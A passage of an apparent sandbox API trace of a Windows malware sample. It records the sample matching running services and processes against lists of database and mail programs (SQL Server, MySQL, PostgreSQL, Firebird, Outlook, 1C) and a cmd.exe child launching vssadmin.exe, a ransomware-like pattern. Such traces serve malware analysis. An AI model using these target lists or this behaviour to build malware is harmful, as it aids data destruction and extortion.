lpString2="TrkWks") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.782] lstrlenW (lpString="UxSms") returned 5 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.782] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.782] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.782] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.782] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.782] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.783] lstrlenW (lpString="Winmgmt") returned 7 [0045.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.783] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.783] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.783] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.783] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0045.783] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0045.785] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.786] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.786] lstrlenW (lpString="System") returned 6 [0045.786] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.786] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.786] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.786] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.787] lstrlenW (lpString="smss.exe") returned 8 [0045.787] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.787] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.787] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.787] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.788] lstrlenW (lpString="csrss.exe") returned 9 [0045.788] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.788] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.788] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.788] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.788] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.788] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.788] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.788] lstrlenW (lpString="wininit.exe") returned 11 [0045.788] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.788] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.788] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.788] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0045.789] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0045.789] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0045.789] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0045.789] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.789] lstrlenW (lpString="csrss.exe") returned 9 [0045.789] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.789] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.789] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.789] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.789] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.789] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.789] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.790] lstrlenW (lpString="winlogon.exe") returned 12 [0045.790] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.790] lstrlenW (lpString="services.exe") returned 12 [0045.790] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.791] lstrlenW (lpString="lsass.exe") returned 9 [0045.791] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.791] lstrlenW (lpString="lsm.exe") returned 7 [0045.791] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.792] lstrlenW (lpString="svchost.exe") returned 11 [0045.792] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.792] lstrlenW (lpString="svchost.exe") returned 11 [0045.792] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.793] lstrlenW (lpString="svchost.exe") returned 11 [0045.793] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.793] lstrlenW (lpString="svchost.exe") returned 11 [0045.793] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.794] lstrlenW (lpString="svchost.exe") returned 11 [0045.794] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.794] lstrlenW (lpString="audiodg.exe") returned 11 [0045.794] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.795] lstrlenW (lpString="svchost.exe") returned 11 [0045.795] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.795] lstrlenW (lpString="svchost.exe") returned 11 [0045.795] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.796] lstrlenW (lpString="dwm.exe") returned 7 [0045.796] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.796] lstrlenW (lpString="explorer.exe") returned 12 [0045.796] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.797] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.797] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.797] lstrlenW (lpString="taskhost.exe") returned 12 [0045.797] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.797] lstrlenW (lpString="svchost.exe") returned 11 [0045.798] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.798] lstrlenW (lpString="taskeng.exe") returned 11 [0045.798] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.798] lstrlenW (lpString="taskhost.exe") returned 12 [0045.799] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0045.799] lstrlenW (lpString="br_maintaining.exe") returned 18 [0045.799] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0045.799] lstrlenW (lpString="kitsenormous.exe") returned 16 [0045.800] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0045.800] lstrlenW (lpString="intermediate-components.exe") returned 27 [0045.800] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0045.800] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0045.801] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0045.801] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0045.801] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0045.801] lstrlenW (lpString="stupid.exe") returned 10 [0045.801] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0045.802] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0045.802] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0045.802] lstrlenW (lpString="addition.exe") returned 12 [0045.803] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0045.803] lstrlenW (lpString="kept retirement.exe") returned 19 [0045.803] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0045.804] lstrlenW (lpString="lmmold.exe") returned 10 [0045.804] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0045.804] lstrlenW (lpString="soma weighted.exe") returned 17 [0045.804] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0045.805] lstrlenW (lpString="cartridge donation.exe") returned 22 [0045.805] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0045.805] lstrlenW (lpString="anti.exe") returned 8 [0045.805] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0045.806] lstrlenW (lpString="cashiersshot.exe") returned 16 [0045.806] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0045.806] lstrlenW (lpString="poundfi.exe") returned 11 [0045.806] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0045.807] lstrlenW (lpString="conditions_hired.exe") returned 20 [0045.807] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0045.807] lstrlenW (lpString="mercedes.exe") returned 12 [0045.807] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 1 [0045.807] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0045.808] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0045.808] lstrlenW (lpString="training_wiring.exe") returned 19 [0045.808] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0045.808] lstrlenW (lpString="democratic.exe") returned 14 [0045.808] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0045.810] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0045.810] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0045.810] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0045.810] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0045.811] lstrlenW (lpString="documented.exe") returned 14 [0045.811] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0045.811] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0045.811] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0045.812] lstrlenW (lpString="n.exe") returned 5 [0045.812] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0045.812] lstrlenW (lpString="cmd.exe") returned 7 [0045.812] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0045.813] lstrlenW (lpString="conhost.exe") returned 11 [0045.813] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0045.813] lstrlenW (lpString="vssadmin.exe") returned 12 [0045.813] Process32NextW (in: hSnapshot=0x1b8, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0045.814] CloseHandle (hObject=0x1b8) returned 1 [0045.814] Sleep (dwMilliseconds=0x1f4) [0046.723] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fdb8 [0046.724] EnumServicesStatusExW (in: hSCManager=0x73fdb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0046.724] GetLastError () returned 0xea 